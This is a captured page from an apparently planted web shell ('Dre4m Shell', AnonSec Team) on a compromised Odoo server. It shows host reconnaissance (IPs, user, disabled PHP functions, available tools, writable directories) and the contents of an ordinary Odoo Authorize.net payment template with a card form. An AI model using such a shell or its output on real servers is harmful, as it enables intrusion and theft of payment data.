Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.220.192.109
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/payment_authorize/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/payment_authorize/views/payment_authorize_templates.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>
    <data noupdate="1">
        <template id="authorize_acquirer_button">
            <form t-if="acquirer" t-att-action="tx_url" method="post" target="_self">
                <input type='hidden' name='x_login' t-att-value='x_login'/>
                <input type='hidden' name='x_fp_hash' t-att-value='x_fp_hash'/>
                <input type='hidden' name='x_amount' t-att-value='x_amount'/>
                <input type='hidden' name='x_show_form' t-att-value="x_show_form"/>
                <input type='hidden' name='x_type' t-att-value="x_type"/>
                <input type='hidden' name='x_method' t-att-value="x_method"/>
                <input type='hidden' name='x_fp_sequence' t-att-value='x_fp_sequence'/>
                <input type='hidden' name='x_version' t-att-value="x_version"/>
                <input type="hidden" name="x_relay_response" t-att-value="x_relay_response"/>
                <input type="hidden" name="x_relay_url" t-att-value="x_relay_url"/>
                <input type='hidden' name="x_fp_timestamp" t-att-value="x_fp_timestamp"/>
                <input type="hidden" name='return_url' t-att-value="returndata"/>
                <input type="hidden" name='x_cancel_url' t-att-value="x_cancel_url"/>
                <!--Order Information -->
                <input type='hidden' name='x_invoice_num' t-att-value='reference'/>
                <input type='hidden' name='x_currency_code' t-att-value='x_currency_code'/>
                <!-- Billing Information-->
                <input type='hidden' name='x_first_name' t-att-value="billing_first_name"/>
                <input type='hidden' name='x_last_name' t-att-value="billing_last_name"/>
                <input type='hidden' name='x_address' t-att-value="billing_address"/>
                <input type='hidden' name='x_city' t-att-value="billing_city"/>
                <input type='hidden' name='x_zip' t-att-value="billing_zip_code"/>
                <input type='hidden' name='x_country' t-att-value="billing_country"/>
                <input type='hidden' name='x_phone' t-att-value='billing_phone'/>
                <input type='hidden' name='x_email' t-att-value="billing_email"/>
                <input type='hidden' name='x_state' t-att-value="billing_state"/>
                <!-- Shipping Information-->
                <input type='hidden' name='x_ship_to_first_name' t-att-value="first_name"/>
                <input type='hidden' name='x_ship_to_last_name' t-att-value="last_name"/>
                <input type='hidden' name='x_ship_to_address' t-att-value="address"/>
                <input type='hidden' name='x_ship_to_city' t-att-value="city"/>
                <input type='hidden' name='x_ship_to_zip' t-att-value="zip_code"/>
                <input type='hidden' name='x_ship_to_country' t-att-value="country"/>
                <input type='hidden' name='x_ship_to_phone' t-att-value='phone'/>
                <input type='hidden' name='x_ship_to_email' t-att-value="email"/>
                <input type='hidden' name='x_ship_to_state' t-att-value="state"/>
                <!-- Submit-->
                <button type="submit" width="100px" t-att-class="submit_class">
                    <img t-if="not submit_txt" src="/payment_authorize/static/src/img/authorize_icon.png"/>
                    <span t-if="submit_txt"><t t-esc="submit_txt"/> <span class="fa fa-long-arrow-right"/></span>
                </button>
            </form>
        </template>

        <template id="payment_authorize_redirect" name="Payment Authorize">
            <script type="text/javascript">
                window.location.href = '<t t-esc="return_url"/>';
            </script>
        </template>

        <template id="authorize_s2s_form">
            <form method="post" t-att-action="'/payment/authorize/s2s/create' if not json else '/payment/authorize/s2s/create_json'">
                <div t-att-class="'row' if bootstrap_formatting else ''">
                    <div t-att-class="'form-group col-md-8' if bootstrap_formatting else 'form-group'">
                        <label class="control-label" for="cc_number">Card number</label>
                        <input type="tel" name="cc_number" id="cc_number" class="form-control" placeholder="&#8226;&#8226;&#8226;&#8226;&#32;&#8226;&#8226;&#8226;&#8226;&#32;&#8226;&#8226;&#8226;&#8226;&#32;&#8226;&#8226;&#8226;&#8226;&#32;"/>
                        <div class="card_placeholder"></div>
                        <div class="visa"></div>
                        <input type="hidden" name="cc_brand" value=""/>
                    </div>
                    <div t-att-class="'form-group col-md-4' if bootstrap_formatting else 'form-group'">
                        <label class="control-label" for="cc_cvc">CVC</label>
                        <input type="text" name="cc_cvc" id="cc_cvc" class="form-control" maxlength="4" placeholder="CVC"/>
                    </div>
                    <div t-att-class="'form-group col-md-7' if bootstrap_formatting else 'form-group'">
                        <label class="control-label" for="cc_holder_name">Name</label>
                        <input type="text" name="cc_holder_name" id="cc_holder_name" class="form-control"/>
                    </div>
                    <div t-att-class="'form-group col-md-5' if bootstrap_formatting else 'form-group'">
                        <label class="control-label" for="cc_expires_mm">Expires</label>
                        <input type="text" name="cc_expiry" id="cc_expiry" class="form-control" maxlength="7" placeholder="MM / YY"/>
                    </div>
                    <input type="hidden" name="acquirer_id" t-att-value="id"/>
                    <input class="hidden" name="csrf_token" t-att-value="request.csrf_token()"/>
                    <input t-if="return_url" type="hidden" name="return_url" t-att-value="return_url"/>
                    <input t-if="partner_id" type="hidden" name="partner_id" t-att-value="partner_id"/>
                    <div class="clearfix"/>
                </div>
                <button t-att-class="submit_class" class="btn btn-primary" type="submit">
                    <span t-if="not submit_txt">Confirm <span class="fa fa-long-arrow-right"></span></span>
                    <span t-if="submit_txt"><t t-esc="submit_txt"/></span>
                </button>
            </form>
        </template>
    </data>
</odoo>

Anon7 - 2022
AnonSec Team